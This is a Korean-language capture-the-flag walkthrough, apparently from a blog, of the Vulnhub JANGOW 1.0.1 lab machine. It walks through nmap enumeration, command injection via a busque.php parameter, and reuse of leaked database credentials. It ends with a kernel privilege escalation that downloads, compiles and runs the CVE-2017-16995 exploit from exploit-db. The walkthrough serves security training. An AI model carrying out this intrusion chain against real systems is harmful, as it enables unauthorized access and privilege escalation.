[Vulnhub] JANGOW: 1.0.1

2023. 10. 23. 22:03War Game/Vulnhub

 

Jangow : Description

 

 

이 문제의 비밀은 enumeration(열거)라고 한다. 

 

Jangow : Exploit

 

 

nmap -sn 10.0.2.4/24

 

해당 시스템은 가상 머신이므로 공격대상의 IP 주소 스캔 결과 10.0.2.11으로 확인되었다.

 

 

nmap -sCV 10.0.2.11 > scan_res
cat scan_res

 

공격대상 시스템의 포트 스캔 결과 21번, 80번 포트가 열려있는 것을 확인하였다. 

 

 

searchsploit vsftpd 3.0.3

 

우선 21번 포트가 열려있으므로 해당 포트에서 서비스 중인 vsftpd 3.0.3에 대한 취약점을 찾았으나 Dos공격에 대한 취약점이기에 도움이 되지 않는다.

 

 

그다음 열려있는 포트가 80번 포트이므로 웹 브라우저에 IP 주소를 입력하였더니 Directory Listing 취약점을 가지고 있는 것을 확인하였다. 해당 취약점으로 인해 리스팅 된 디렉터리 중 site라는 디렉터리를 클릭했더니 새로운 웹 페이지로 안내하였다.

 

 

새로운 웹 페이지에 대한 정보 수집 중 Menu를 클릭하여 Buscar라는 탭을 클릭했으나 아무런 내용도 없는 웹 페이지로 안내하였다. 그러나 여기서 해당 탭의 URL에 주목을 하면 busque.php의 파라미터에 뭔가를 적으라는듯한 형태로 이루어져 있다. 

 

 

그래서 확인차 ls 명령어를 입력했더니 해당 디렉터리 파일 리스트가 출력된 것을 확인하였으며 해당 시스템의 계정 정보도 출력되는 것을 확인하였다. 이 시스템에는 'jangow01'라는 사용자가 존재하며 jangow01의 홈 디렉터리를 확인해 본다.

 

 

.bash_history 디렉터리는 중요하지만 권한이 없어 볼 수가 없었으며 .sudo_as_admin_successful 파일은 아무런 내용도 출력되지 않았다. 또한 해당 시스템은 22번 포트가 열려있지 않으므로 ssh 개인키를 이용한 접속도 불가능하다. 그리고 리버스 쉘 코드도 입력해봤으나 어떤 영문인지 적용이 되지 않았다.

 

 

jangow01 계정의 홈 디렉터리 탐색을 하였지만 별 다른 정보를 얻지 못하여 다른 디렉터리들을 탐색하였다. 그러다 /var/www/html 디렉터리에서 중요한 정보가 들어있는 .backup파일을 발견하였으며 이 파일에서 해당 시스템의 DB 계정 정보를 얻을 수 있었다. 그러나 해당 시스템은 mysql 포트인 3306 포트가 열려있지 않으므로 DB 접속은 불가능하다. 그렇다면 이 계정 정보를 활용하여 크리덴셜 스터핑 공격을 수행한다.

 

 

jangow01 계정 정보를 가지고 공격대상 시스템에 직접 접속을 시도하였더니 성공적으로 접속하였다. 이로서 jangow01 계정의 쉘을 획득하였다.

 

 

sudo -l
find / -perm -4000 2> /dev/null
uname -a

 

해당 시스템의 권한 상승을 위해 확인해봐야 하는 것들을 출력하였으나, sudo 명령어는 해당 안되고, setUID 권한을 가진 파일들에 대한 확인을 진행했지만 권한 상승에 도움이 될만한 파일은 없었다. 그래서 해당 시스템의 리눅스 버전을 확인해 본 결과 취약점이 존재하는 것을 확인하였다. 

 

 

linux 4.4.0-31-generic에 대한 취약점을 구글링 한 결과 CVE-2017-16995이란 취약점을 발견하였다. 

 

 

wget https://www.exploit-db.com/raw/45010 -O jangow.c
ls -al

 

해당 취약점을 공격자 시스템에 jangow.c라는 이름으로 다운로드하고 공격대상 시스템에 옮겨야 한다. 이때 ftp에 접속하여 파일을 전송한다.

 

 

ftp 10.0.2.11
cd /home/jangow01
put jangow.c
ls 

 

ftp에 접속하여 공격자 시스템에 다운로드한 jangow.c 파일을 jangow01 계정의 홈 디렉터리에 성공적으로 전송한 것을 확인하였다.

 

 

 gcc jangow.c -o jangow
ls -al
./jangow
id
cd /root
ls -al
cat proof.txt

 

전송받은 jangow.c 파일을 컴파일하고 실행시켜 주었더니 root 권한을 얻을 수 있었다. flag를 찾기 위해 root 계정의 홈 디렉터리로 이동하였다. 파일 리스트를 출력하였더니 proof.txt파일이 존재하는 것을 확인하였으며 내용을 출력한 결과 flag인 것을 확인하였다.